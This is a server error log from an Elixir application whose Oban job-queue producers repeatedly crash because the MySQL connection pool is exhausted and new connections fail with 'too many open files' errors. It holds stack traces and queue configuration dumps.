** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:57:58.239945Z], limit: 50, uuid: "738d9474-ead8-49ff-83de-f51d5c7ca72f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:58.239951Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.75959>, refresh_timer: #Reference<0.2525715032.1068498948.89994>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:57:58.240822Z], limit: 5, uuid: "1c522ec5-60d0-47c5-baaa-bf8e0ce63984", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:58.240829Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.75957>, refresh_timer: #Reference<0.2525715032.1077673987.62255>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:57:58.239982Z], limit: 20, uuid: "0a352b6e-b337-4f34-8673-eae23f250c78", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:58.239988Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.75958>, refresh_timer: #Reference<0.2525715032.1068498948.89998>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:57:58.240835Z], limit: 10, uuid: "3ba171c6-91df-4cc8-b920-d8a393f1879a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:58.240840Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.75956>, refresh_timer: #Reference<0.2525715032.1099431938.75955>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:57:58.239363Z], limit: 5, uuid: "81af44e1-9e98-469f-b1e6-1b2840e530d7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:58.239369Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.75960>, refresh_timer: #Reference<0.2525715032.1121189889.235172>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:10.759000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:11.070000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:12.038000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:12.944000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:15.579000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:16.186000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:16.631000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:22.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:58:10.240305Z], limit: 5, uuid: "c15e7c0d-f5e9-46db-9d24-bc6ceff99fd7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:10.240310Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.90342>, refresh_timer: #Reference<0.2525715032.1077673987.62333>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:58:10.239964Z], limit: 10, uuid: "eb3f494b-e77a-41e5-91f0-784f912d17e9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:10.239969Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.90339>, refresh_timer: #Reference<0.2525715032.1068498948.90330>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:58:10.240891Z], limit: 5, uuid: "02e1dc54-c2f3-4f9d-a321-63aae504461b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:10.240897Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.90341>, refresh_timer: #Reference<0.2525715032.1077673987.62348>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:22.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
